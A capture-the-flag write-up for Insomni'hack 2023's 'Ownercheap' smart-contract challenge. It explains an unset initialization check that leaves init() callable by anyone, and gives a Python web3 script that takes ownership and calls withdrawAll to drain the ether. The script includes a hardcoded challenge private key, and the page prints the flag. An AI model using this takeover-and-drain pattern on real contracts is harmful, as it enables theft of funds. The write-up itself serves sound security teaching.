This is the solution of the challenge “Ownercheap” given during the Insomni’hack 2023. It was a Ethereum smart contract initialization bug which lead to contract ownership takeover.
Description
Withdrawall, that’s the goal !
Create the chall and get the flag: https://ownercheap.insomnihack.ch/.
Smartcontracts source code: Setup.sol & Challenge.sol
Details
Category: web3
Author: Stygis
Solution
The constructor
function of the Challenge contract check if the mapping structure sameAddress
to be true for the zero address and if yes, it launch the init
function which defined the owner of the contract and set the setup
variable to true to prevent another ownership transfer. The problem is the mapping structure in Solidity is similar to dictionary in other language and here we declare a mapping where the keys are addresses and the value booleans. But by default the value are initialized to false. In the code the value for address zero is never set to true. Thus in the following code:
1
2
3
4
5
6
7
|
mapping(address => bool) public sameAddress;
constructor() payable {
if( sameAddress[address(0x0)] ) {
init();
}
}
|
The function init
is never called. To exploit this bug we just have to call the init
function ourselves and will will be owner of the contract. The we can call the function withdrawAll
to get all the ethers. Here is my full solution script in Python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
#!/usr/bin/env python
import sys
from web3 import Web3
import json
if __name__ == "__main__":
infura_url = "https://ownercheap.insomnihack.ch:32950"
web3 = Web3(Web3.HTTPProvider(infura_url))
chal_address = Web3.to_checksum_address("0x874f54e755ec1e2a9ea083bd6d9c89148cea34d4")
setup_address = Web3.to_checksum_address("0x876807312079af775c49c916856A2D65f904e612")
# Got from solc Challenge.sol --abi > abi.json
with open("abi.json") as f:
abi = json.load(f)
contract = web3.eth.contract(chal_address, abi=abi)
address = Web3.to_checksum_address("0x133756e1688e475c401d1569565e8e16e65b1337")
transfer_tx = contract.functions.init().build_transaction(
{
'from': address,
'nonce': web3.eth.get_transaction_count(address),
'gasPrice': web3.eth.gas_price
})
x_create = web3.eth.account.sign_transaction(transfer_tx, 0xedbc6d1a8360d0c02d4063cdd0a23b55c469c90d3cfbc2c88a015f9dd92d22b3)
tx_hash = web3.eth.send_raw_transaction(x_create.rawTransaction)
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print(f'Tx successful with hash: { tx_receipt.transactionHash.hex() }')
transfer_tx = contract.functions.withdrawAll().build_transaction(
{
'from': address,
'nonce': web3.eth.get_transaction_count(address),
'gasPrice': web3.eth.gas_price
})
x_create = web3.eth.account.sign_transaction(transfer_tx, 0xedbc6d1a8360d0c02d4063cdd0a23b55c469c90d3cfbc2c88a015f9dd92d22b3)
tx_hash = web3.eth.send_raw_transaction(x_create.rawTransaction)
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print(f'Tx successful with hash: { tx_receipt.transactionHash.hex() }')
with open("abi_setup.json") as f:
abi = json.load(f)
contract = web3.eth.contract(setup_address, abi=abi)
print(contract.functions.isSolved().call())
sys.exit()
|
Running the script would show that the challenge is solved and then we were able to get the flag:
1
|
"Well done!! Please don't share the solution with other people, it is a private challenge. The flag is => INS{646f6e3074666f72676574544f696e6974796f7572436f6e747261637473}"
|